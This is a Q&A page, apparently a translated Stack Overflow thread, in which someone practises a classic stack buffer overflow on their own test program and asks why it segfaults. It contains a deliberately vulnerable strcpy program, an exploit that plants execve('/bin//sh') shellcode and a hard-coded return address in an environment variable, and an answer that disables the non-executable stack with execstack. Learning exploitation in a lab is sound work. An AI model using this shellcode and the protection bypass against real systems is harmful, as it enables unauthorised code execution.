缓冲区溢出不起作用获得Seg Fault

时间:2015-09-27 09:12:55

标签: c segmentation-fault buffer-overflow

我尝试让Buffer Overflow工作。我有以下简单易受攻击的程序:

int main(int argc, char** argv) {
    char buffer[80];
    strcpy(buffer,argv[1]);
    return 1;
}

使用以下程序,我想获得一个带缓冲区溢出的Shell。

char shellcode[]=
"\x31\xc0"                     
"\x50"                        
"\x68\x6e\x2f\x73\x68"        
"\x68\x2f\x2f\x62\x69"        
"\x89\xe3"                     
"\x99"                         
"\x52"
"\x53"                         
"\x89\xe1"                     
"\xb0\x0b"                     
"\xcd\x80";                    
char retaddr[] = "\xa8\xd5\xff\xff";
#define NOP 0x90
int main() {
    char buffer[96];

    memset(buffer, NOP, 96);
    memcpy(buffer, "EGG=",4);
    memcpy(buffer+4,shellcode,24);
    memcpy(buffer+88,retaddr,4);
    memcpy(buffer+92, "\x00\x00\x00\x00",4);
    putenv(buffer);
    printf("%p\n", buffer);
    system("/bin/sh");
    return 0;
}

本程序在Beginning处创建一个带有shellcode的Buffer。在Shellcode之后是一些NOP指令,然后是覆盖返回地址并指向Shellcode开头的值。然后,它使用缓冲区创建一个环境变量并启动一个Shell。

如果我运行该程序,则shell启动并设置环境变量。但是,如果我尝试使用环境变量作为参数来运行易受攻击的程序,则会出现分段错误。

以下是gdb的一些屏幕: 我没有足够的声誉来直接发布图片,所以这里是一张包含4张图片的imgur相册的链接。

enter image description here

enter image description here

enter image description here

enter image description here

第一张图显示了strcpy发生之前的堆栈。

第二个显示argv 1

第三张图显示了strcpy之后的堆栈。

如果可以看到0xf7e00497是返回地址。如果我对此地址进行了解释,则会显示libc函数的代码。

在第三张图片中,您会看到该地址被地址0xffffd5a8覆盖,该地址指向堆栈的顶部。

在图片编号4中,如果程序运行起来,则会看到分段错误。

有人可以告诉我为什么吗?一切似乎都没问题? 我使用gcc的-fno-stack-protector选项编译了这两个程序。

1 个答案:

答案 0 :(得分:0)

感谢@ type1232,问题是堆栈不可执行。

使用execstack -s vulProg,shellcode将运行。